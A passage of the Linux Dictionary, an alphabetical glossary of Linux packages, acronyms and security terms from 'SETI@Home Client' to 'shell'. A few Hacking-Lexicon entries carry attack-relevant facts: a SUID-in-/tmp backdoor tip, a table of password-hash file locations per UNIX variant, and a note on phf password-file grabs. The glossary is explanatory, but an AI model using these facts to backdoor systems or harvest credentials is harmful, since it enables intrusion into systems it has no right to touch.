SETI@Home Client (install package) SETI@home is a scientific experiment that harnesses the power of hundreds of thousands of Internet−connected computers in the Search for Extraterrestrial Intelligence (SETI). You can participate by running a free program that downloads and analyzes radio telescope data. There's a small but captivating possibility that your computer will detect the faint murmur of a civilization beyond Earth. SETI@Home is only distributed in binary form and the correct unix tar ball for your architecture has to be downloaded from http://setiathome.ssl.berkeley.edu/unix.html and placed in $TMPDIR (or /tmp if $TMPDIR is not defined). This installer package will automagically wget (if wget is installed) the right tarball and install the program, if the target debian linux architecture is one of the following: x86, alpha, sparc, powerpc or hppa. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setkeycodes

load kernel scancode−to−keycode mapping table entries From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SETL

SEt Theory Language (New York Uni.), "SetL" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setleds

set the keyboard leds From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setmetamode

define the keyboard meta key handling From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setmixer

a command mode mixer. Got bored resetting soundcard manually after every reboot? Here is a small utility which can help you to avoid that. The whole source is setmixer.c. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SETP

Secure Electronic Transactions Process From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SETP

Stream Environment Transport Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setpci

configure PCI devices From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setserial

Controls configuration of serial ports. Set and/or report the configuration information associated with a serial port. This information includes what I/O port and which IRQ a particular serial port is using. This version has a completely new approach to configuration, so if you have a setup other than the standard ttyS0 and 1, you will have to get your hands dirty. By default, only COM1−4 are configured by the kernel, using IRQ 3 and 4. If you have other serial ports (such as an AST Fourport card), or if you have mapped the IRQs differently (perhaps COM3 and 4 to other IRQs to allow concurrent access with COM1 and 2) then you must have this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setserial

get/set Linux serial port information From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setsid

creates a session and sets the process group ID From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setsid

run a program in a new session From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setterm

set terminal attributes From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setuid

sets the effective user ID of the current process. If the effective userid of the caller is root, the real and saved user ID's are also set. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setuid (SUID)

UNIX programs that can be run by a user, but which have root privileges. Key point: In theory, setuid programs can only be installed by root, and they are considered as part of the operating system, because they inherently bypass security checks and must verify security themselves. A typical example is the passwd command, which a user runs in order to change his/her password. It must be setuid, because it changes files only root has access to, but yet it must be runnable by users. Key point: In practice, setuid programs often have bugs that can be exploited by logged in users. Key point: As part of hardening a system, the administrator should scour the system and remove all unnecessary setuid programs. Linux find / −type f −perm +6000 −exec ls −l { } \; Solaris find / −type f \(−perm −4000 −o −perm −2000 \) −exec ls −l { } \; In order to remove the suid bit, you can use the command chmod −s filename. Removing the suid bit will disable a lot of programs. Two programs that really need to have this bit turned on are /usr/bin/passwd, which users run to change their passwords, and /bin/su, which elevates a normal user to super user (when given the correct password). Key point: Some programs are really setguid which only changes the group context rather than the user context. Key point: Windows doesn't have the concept of setuid. Instead, RPC is used whereby client programs (run by users) contact server programs to carry out the desired task. For example, in order to change the password, the client program asks the SAM to do it on behalf of the user. Thus, whereas UNIX requires a myriad of client programs to verify credentials and be written securely, Windows only requires a few server programs to do the same. Key point: A common way to backdoor a system is to place a SUID program in the /tmp directory. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setuptool

Setuptool is a user−friendly text mode menu utility which allows youto access all of the text mode configuration programs included in the Red Hat Linux operating system. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

setxkbmap
: set the keyboard using the X Keyboard Extension From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEU
: Software−Entwicklungs−Umgebung (CASE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SEU
: Source Entry Utility (IBM, ADT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sex
: Simple editor for X The Simple editor for X (SeX) is a relatively small, simple, not too slow editor for X. It has no text mode user interface. It doesn't have very many features. The primary attraction is the mouse language, which is almost identical to xterm's, but clicking the middle mouse button inside a selection cuts it instead of pasting it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

seyon
: Full−featured native X11 communications program. Seyon is a complete full−featured modem communications package for the X Window System. Some of its features are: − dialing directory − terminal emulation (DEC VT02, Tektronix 4014 and ANSI) − script language − Zmodem From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SF
: Service Feature (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SF
: Sign Flag (assembler) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SF
: Standard Form From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SF
: Switching Fabric From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFBI
: Shared Frame Buffer Interconnect From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfconvert
: convert between various audio formats From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFD
: Simple Formattable Document (CCITT, MHS, X.420) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFD
: Start Frame Delimiter (ethernet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFD
: Symbolic File Directory From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfdisk
: Partition table manipulator for Linux From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFF
: Small Form Factor [committee] (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfftw2
Library for computing Fast Fourier Transforms This library computes Fast Fourier Transforms (FFT) in one or more dimensions. It is extremely fast. This package contains the shared library version of the fftw libraries in single precision. To get the static library and the header files you need to install sfftw−dev. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfinfo
display information about audio files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfio
Sfio is a library for managing I/O streams. It provides functionality similar to that of Stdio, the ANSI C Standard I/O library, but via a distinct interface that is more powerful, robust and efficient. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfio1999
Enhanced library for managing I/O streams. Sfio is a portable library for managing I/O streams. It provides similar functionality to the ANSI C Standard I/O functions known collectively as Stdio. However, it has a distinct interface and is generally faster and more robust than most Stdio implementations. Sfio also introduces a number of new features and concepts beyond Stdio stream I/O processing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfio2000
Enhanced library for managing I/O streams. Sfio is a portable library for managing I/O streams. It provides similar functionality to the ANSI C Standard I/O functions known collectively as Stdio. However, it has a distinct interface and is generally faster and more robust than most Stdio implementations. Sfio also introduces a number of new features and concepts beyond Stdio stream I/O processing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFMJI
Sorry For My Jumping In (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sformat
SCSI disk format and repair tool Sformat will let you low−level format and repair bad blocks on SCSI disks. It can help you get data off a failing disk and often resurrect an apparently−broken drive. Users of SunOS will recognise the features from Sun's format command. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFP
System File Protection (MS, WIndows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFPRNSB
Select a File for Processing and Read Next Spool Buffer (IBM, VM/ESA, CP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFPS
Secure Fast Packet Switching (Cabletron) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFQL
Structured Full−text Query Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfront
MPEG 4 Structured Audio files decoder. Sfront compiles MPEG 4 Structured Audio (MP4−SA) bitstreams into efficient C programs that generate audio when executed. It supports real−time, low−latency audio input/output and MIDI input from soundcards. MP4−SA is a standard for normative algorithmic sound, that combines an audio signal processing language (SAOL) with score languages (SASL, and the legacy MIDI File Format). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sfs
Self−Certifying File System common files SFS is a secure, global file system with completely decentralized control. It takes NFS shares exported from localhost and transports them securely to other hosts; NFS services do not need to be exposed to network. SFS features key management and authorization separated from filesystem with key revocation separated from key distribution. SFS requires solid NFSv3 support; Linux kernel version 2.2.18, 2.4.0 or greater is required (earlier versions need patching). SFS home page is at http://www.fs.net From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFS
Shared File System (IBM. CMS, VM/ESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFS
Stepless Frequency Selection From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFS
Suomen Standardisoimisliitto [Standards Association of Finland] (org., Finland) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFT
System Fault Tolerance (Novell) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFT
System File Table (DOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFTP
Screened Foiled Twisted Pair [cable] (UTP, TP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sftp
Secure file transfer program From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFTP
Simple File Transfer Protocol (RFC 913) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SFUG
Security Features User's Guide From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sg
Execute command as different group ID From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SG
Signal Ground (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sg−utils
Utilities for working with generic SCSI devices. This package includes a number of utilities to manipulate the linux "sg" (version 2) device driver, and to a lesser extent, the version 1 driver found in the 2.0.x kernels. The version 2 driver is only found in 2.2.x linux kernels; if you are using 2.4, please install the sg3−utils package instead. The package includes: * isosize − gives the number of bytes in an iso9660 filesystem * scsi_inquiry − same as sg_inq, only uses SCSI_IOCTL_SEND_COMMAND * sg_dd − a variant of 'dd' that works with the sg interface * sg_debug − prints debug info for all open sg file descriptors * sg_inq − a utility for poking around with the SCSI INQUIRY command * sg_map − shows the mapping between SCSI devices and sg devices * sg_rbuf − tests SCSI bus speed * sg_readcap − prints the output of a READ CAPACITY command * sg_runt_ex − an example program to test the sg driver version * sg_scan − displays the SCSI bus on stdout * sg_start − spins up (or down) disks * sg_test_rwbuf − tests the SCSI host

adapter * sg_turs – execute a TEST UNIT READY command on the given device * sg_whoami – displays information about the given sg device * sginfo – a re–porting of the 'scsiinfo' program to use sg devices * sgp_dd – like sg_dd, only multithreaded It also includes sg_simple1 and sg_simple2, which demonstrate calls to the SCSI INQUIRY and TEST UNIT READY commands. They only differ in their error processing: sg_simple1 uses sg_err.[hc] for error processing while sg_simple2 does its own more primitive checks. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGA

Shared Global Array (DEC, VMS) From VERA
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

sgb

The Stanford GraphBase: combinatorial data and algorithms. A highly portable collection of programs and data for researchers who study combinatorial algorithms and data structures. The programs are intended to be interesting in themselves as examples of literate programming. Thus, the Stanford GraphBase can also be regarded as a collection of approximately 30 essays for programmers to enjoy reading, whether or not they are doing algorithmic research. The programs are written in CWEB, a combination of TeX and C that is easy to use by anyone who knows those languages and easy to read by anyone familiar with the rudiments of C. This package contains only the libraries and the demonstration programs; for the readable source code, which forms the documentation as well, see the sgb–doc package. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGC

SCSI Graphic Commands (SAM) From VERA
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGI

Silicon Graphics Incorporated (manufacturer, SGI) From VERA
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGID

Set Group ID: a file attribute which allows a program to run with specific group privileges no matter who executes it. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGID (set group ID)

The SGID permission causes a script to run with its group set to the group of the script, rather than the group of the user who started it. It is normally considered extremely bad practice to run a program in this way as it can pose many security problems. Later versions of the Linux kernel will even prohibit the running of shell scripts that have this attribute set.
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGM

SeGmentation Message From VERA http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

SGML

Standard Generalized Markup Language (ISO 8879, JTC1, RFC 1874, SGML) From VERA
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

sgml

The ISO standardization organization has normalized a set of characters symbolic names ("character entities") used by SGML documents of many types. There are character entities for latin languages, math symbols, greek, cyrillic, etc. This package also includes very basic utilities to allow SGML catalogs manipulation. From Mandrake 9.0 RPM
http://www.tldp.org/LDP/Linux–Dictionary/html/index.html

sgml–data

common SGML DTDs and entities This package includes Document Type Definitions for HTML Level 0, 1, 2, 3, 3.2, and 4.0, DTDs representing the capabilities for popular browsers, SGML and

XML declarations, and popular XML DTDs. Also included are ISO standard entities (SGML and XML), HTML standard entities, and other generally useful sets of entities. Access to these data files is facilitated by the inclusion of an SGML catalog file which defines a default SGML declaration and a default DTD for documents whose DOCTYPE is 'html', and which links system identifiers to public identifiers for other SGML DTDs and entity sets. No setup is required by the user, due to the Debian SGML/XML common layer (see the sgml−base package) From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2html
create HTML output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2info
create GNU info output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2latex
create LaTeX, DVI, PostScript or PDF output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2lyx
create LyX output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2rtf
create RTF output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2txt
create plain text output from a LinuxDoc DTD SGML source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2x
Generic formatter for SGML documents using DSSSL stylesheets sgml2x allows to easily format a SGML document using DSSSL stylesheets, and provides the following features: * Multiple possible stylesheets per document class * Easy integration of new stylesheets by adding a simple new definition file in a configuration directory * The caller can specify a PATH−like list of configuration directories, defaulting to a system−wide, a per−user, and a per−project configuration directories * Automatic selection of a default stylesheet to be used From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgml2xml
convert SGML to XML From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGMLB
Standard Generalized Markup Language − Binary version (SGML), "SGML−B" From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlcheck
check the syntax of an LinuxDoc DTD sgml source file From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmldiff
Find differences in the markup of two SGML files From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlnorm
normalize SGML documents From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlpre
handle SGML conditionalization for SGML−tools From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlsasp

translate output of sgmls using ASP replacement files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlspl

a simple post−processor for nsgmls From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlspl

SGMLS−based example Perl script for processing SGML parser output This is an example of a Perl script to post−process SGML parser output using the SGMLS Perl modules. To make sensible use of this package you will need to install a suitable SGML parser as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmltexi

SGML typesetting system able to create Texinfo documents. Sgmltexi is a DTD with tools to get Texinfo. The idea is to have another way to write Texinfo documents, intended to be a little bit easier. Sgmltexi manages Texinfo nodes automatically, generating an Info menu at the Top node, and other menus if required. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmltools

process sgml files. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmltools−2

Replaced by sgmltools−lite (dummy package for upgrade) sgmltools−2 is now obsoleted and replaced by sgmltools−lite. This is dummy package for automatic migration. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmltools−lite

convert DocBook SGML source into HTML using DSSSL A text−formatting package based on SGML (Standard Generalized Markup Language), which allows you to produce TeX/DVI/PS/PDF, HTML, RTF, and plain ASCII (currently via w3m by default) from a single source with other recommended and suggested packages; due to the flexible nature of SGML, many other target formats are possible. This tool can not handle DocBook XML yet. For DocBook SGML only. HTML can be generated without any other Debian text processing package, but for the other formats the appropriate packages have to be installed. You need to install lynx or w3m for ASCII text output (w3m is the default txt backend). Also jadetex is required for PS and PDF, and linuxdoc−tools for ld2db conversion. This system is tailored for writing technical software documentation, an example of which are the Linux HOWTO documents. However, there is nothing Linux−specific about this package; it can be used for many other types of documentation on many other systems. It should be useful for all kinds of printed and online documentation. The package was formerly called linuxdoc−sgml because it originates from the Linux Documentation Project (LDP). The name has been changed into sgmltools to make it clearer that there is no Linux−specific stuff included in this package. This is the latest version of the sgmltools series and the successor of sgmltools v2. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgmlwhich

outputs system SGML catalog path From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGMP

Simple Gateway Monitoring Protocol (RFC 1028) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGRAM

Synchronous Graphics Random Access Memory (DRAM, RAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sgrep

a tool to search a file for structured pattern Sgrep (structured grep) is a tool for searching text files and filtering text streams for structured criteria. Sgrep implements a query language based on so called

region expressions. Like grep, sgrep can be used for any kind of text files. However it is most useful for text files containing some kind of structured text. A file containing structured text could be defined as a file, which obeys some syntax. Examples of structured text files are SGML, HTML, C, Tex and mail files. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGSN

Serving GPRS Support Node (GPRS, mobile−systems) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGT

Surrounding Gate Transistor (IC) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SGTSI

Semi−Graphical Tree Structure Interface From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sh

GNU Bourne−Again SHell From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sh−utils

The GNU shell utilities are a set of useful system utilities that are often used in shell scripts. The sh−utils package includes basename (to remove the path prefix from a specified pathname), chroot (to change the root directory), date (to print/set the system time anddate), dirname (to remove the last level or the filename from a givenpath), echo (to print a line of text), env (to display/modify theenvironment), expr (to evaluate expressions), factor (to print primefactors), false (to return an unsuccessful exit status), groups (toprint the groups a specified user is a member of), id (to print the real/effective uid/gid), logname (to print the current login name),nice (to modify a scheduling priority), nohup (to allow a command to continue running after logging out), pathchk (to check a file name's portability), printenv (to print environment variables), printf (to format and print data), pwd (to print the current directory), seq (to print numeric sequences), sleep (to suspend execution for a specified time), stty (to print/change terminal settings), su (to become another user or the superuser), tee (to send output to multiple files), test(to evaluate an expression), true (to return a successful exit status), tty (to print the terminal name), uname (to print system information), users (to print current users' names), who (to print a list of the users who are currently logged in), whoami (to print the effective user id), and yes (to print a string indefinitely). From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHA

Secure Hash Algorithm (cryptography, NIST) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHA

Super High Aperture [LCD] (LCD) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHA−1 (United States Government Secure Hash Algorithm, FIPS 180−1, ANSI 9.30−2, ISO/IEC 10118−3)

SHA−1 is a popular hash algorithm. It converts an input file or message into a "unique" 160−bit fingerprint. This fingerprint is believed to be "unique"; while it is theoretically possible that two inputs could hash to the same fingerprint, it is nearly statistically impossible. Contrast: SHA−1 is currently (year 2001) considered to be the strongest hash function available. It has a larger size (160−bits vs. 128−bits) and has underground thorough scrutiny without discovery of weaknesses (such as MD5). On the other hand, it is one of the slower hash algorithms. History: SHA−1 is a slight variation of SHA. It adds a one−bit shift at one stage in order to overcome a theoretical weakness. SHA was based upon MD4, enhanced to overcome known weaknesses and increase the length to 160−bits. See also: integrity From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shadow−utils

The shadow−utils package includes the necessary programs for converting UNIX password files to the shadow password format, plus programs for managing user and group accounts. The pwconv command converts passwords to the shadow password format. The pwunconv command unconverts shadow passwords and generates an npasswd file (a standard UNIX password file). The pwck command checks the integrity of password and shadow files. The lastlog command prints out the last login times for all users. The useradd, userdel and usermod commands are used for managing user accounts. The groupadd, groupdel andgroupmod commands are used for managing group accounts. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shadowconfig

toggle shadow passwords on and off From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shadowed passwords (/etc/shadow)

UNIX was designed around the concept of making the encrypted form of passwords readable by everyone. These passwords were stored in the /etc/passwd file, along with the full account information. It was thought to be secure because the passwords were stored in an encrypted format within this file. However, this is not secure in practice because users tend to choose easily guessable passwords. A program called crack was developed that would guess dictionary words (/usr/dict) and then attempt to brute force the passwords. On an average UNIX system, 90% of all passwords could be cracked with a few days worth of computing time. In order to solve this problem, a "shadow" password file was developed. The encrypted passwords are removed from the normal /etc/passwd and placed in a special file (usually /etc/shadow) that is only readable by root. The remaining account information is left in the original password file for backwards compatibility. Example: The following is a table of typical locations for the shadowed passwords: AIX 3 /etc/security/passwd or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/ BSD4.3−Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow HP−UX /.secure/etc/passwd IRIX 5 /etc/shadow Linux /etc/shadow OSF/1 /etc/passwd[.dir|.pag] SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth.dir or /etc/auth.pag UNICOS /etc/udb Key point: In the old days, most remote attacks against UNIX were directed at the /etc/passwd file. For example, the most common form of the phf would be to grab the password file. As password shadowing becomes more common, such attacks are increasingly being pointed at the shadow password file instead. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shapecfg

The Shapecfg program configures and adjusts traffic shaper bandwidth limiters. Traffic shaping is setting parameters or limits on bandwidth consumption, to which network traffic should conform. To use Shapecfg,you must have also installed the kernel which supports the shaper module (kernel versions 2.0.36 or later and late 2.1.x kernels). From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shaper

Traffic Shaper for Linux The traffic shaper for Linux configures and adjusts traffic shaper bandwidth limiters. Traffic shaping means setting parameters or limits to which network traffic should conform − that is, setting limitations on bandwidth consumption. See README.shaper for more details. An init script which sets up traffic shaping using class−based queueing is also provided. This can be used to build smart bandwidth shapers which know about TCP/IP. See README.cbq for more details. The kernel support needed to use either of these facilities is described in README.Debian. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shaperd

A user−mode traffic shaper for tcp−ip networks. Shaperd is a user−mode program that can shape traffic passing through a Linux box. As it runs as a normal daemon, some kind of packet−forwarding mechanism is needed. This can be done with the BSD divert sockets patch for Linux 2.2, or with netfilter's built−in libipq under Linux 2.4. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shapetools

Configuration and Release management using AtFS. ShapeTools is a collection of programs to support software configuration management in an UNIX environment. It consists of a set of version and attribute control commands, and a configuration interpreter and build tool ("shape"). The toolkit is integrated on top of the Attributed File System (AtFS). ShapeTools is designed to live meaningfully together with any other UNIX tool operating on regular files. This distribution also contains a prototype for a comprehensive change control and release management system designed to manage the evolution of system releases in multi programmer software development efforts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shar

create shell archives From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sharchive

/shar'ki:v/ n. [Unix and Usenet; from /bin/sh archive] A flattened representation of a set of one or more files, with the unique property that it can be unflattened (the original files restored) by feeding it through a standard Unix shell; thus, a sharchive can be distributed to anyone running Unix, and no special unpacking software is required. Sharchives are also intriguing in that they are typically created by shell scripts; the script that produces sharchives is thus a script which produces self−unpacking scripts, which may themselves contain scripts. (The downsides of sharchives are that they are an ideal venue for Trojan horse attacks and that, for recipients not running Unix, no simple un−sharchiving program is possible; sharchives can and do make use of arbitrarily−powerful shell features.) Sharchives are also commonly referred to as `shar files' after the name of the most common program for generating them. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shared library

A library where the linker leaves a note in the output that says "when this is run, it will first have to load this library". Shared libraries tend to make for smaller executables than static library. On Linux they have names like libname.so.x.y.z From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shared media

Networks like Ethernet whereby multiple computers connect to the same wire. Key point: In such systems, any computer on the wire can eavesdrop on its neighbors. Contrast: Most corporations are replacing their shared media nets with switched connections. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shared memory

memory which can be access by more than one process in a multitasking operating system with memory protection From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shared memory pixmaps

They are 2 dimensional arrays of pixels in a format specified by the X server, where the pixmap data is stored in the shared memory segment. See MIT−SHM. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shared secret

The idea that many people share the same password or key. Shared secrets are widely use because they are easy: there is simply one password to give out. On the other hand, the more widely secrets are shared, the more likely it will become compromised. In fact, many people believe that even sharing a secret among two people is extremely risky, where the proper solution is using public keys to distribute a randomly generated key only valid for the particular message. Example: DVD movies are encrypted with a randomly generated key. This key is then is then encrypted multiple times with hundreds of different keys. Every DVD player vendor owns one of these keys and imbeds it in their device, thus allows that player to decrypt the movie. (Presumably, if one of the keys is compromised, future movies can be generated without the offending key, causing players based upon that key to become obsolete). However, there is no good way to protect these keys, even though they are in hardware. In late 1999, students in Europe where able to break one of these keys (the Xing software DVD player), and from there they were able to break the majority of the other keys. (These keys only used 40−bit encryption, so breaking one key in the software player allowed a known−plaintext attack). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ShareTheNet

ShareTheNet lets you share your low cost Internet connection across your network. Using ShareTheNet, all of the computers on your network can do their own work on the Internet as though they have their own connection. ShareTheNet allows just about any network software to use the Internet and its ultra−secure. Distribution development is not all that active. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shareware

/sheir'weir/ n. A kind of freeware (sense 1) for which the author requests some payment, usually in the accompanying documentation files or in an announcement made by the software itself. Such payment may or may not buy additional support or functionality. See also careware, charityware, crippleware, FRS, guiltware, postcardware, and −ware; compare payware. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shareware

A form of commercial software, where it is offered as "try before you buy". If the customer continues to use the product after a short trial period, they are required to pay a specified, usually nominal, fee. (Also, see Open Source and Public Domain.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sharutils

shar, unshar, uuencode, uudecode `shar' makes so−called shell archives out of many files, preparing them for transmission by electronic mail services. `unshar' helps unpacking shell archives after reception. Other related utility programs help with other tasks. `uuencode' prepares a file for transmission over an electronic channel which ignores or otherwise mangles the eight bit (high order bit) of bytes. `uudecode' does the converse transformation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sharutils

The sharutils package contains the GNU shar utilities, a set of tools for encoding and decoding packages of files (in binary or text format) in a special plain text format called shell archives (shar). This format can be sent through email (which can be problematic for regular binary files). The shar utility supports a wide range of capabilities (compressing, uuencoding, splitting long files for multi−part mailings, providing checksums), which make it very flexible at creating shar files. After the files have been sent, the unshartool scans mail messages looking for shar files. Unshar automatically strips off mail headers and introductory text and then unpacks the sharfiles. Install sharutils if you send binary files through email very often. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHED

Segmented Hypergraphics EDitor (MS, Windows, ADT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell

A command interpreter that allows a user to run executable code. Shells also store and configure additional information about a user's executable paths, environment variables, and usability options. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shell

A text−mode window containing a command line interface to the operating system. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell

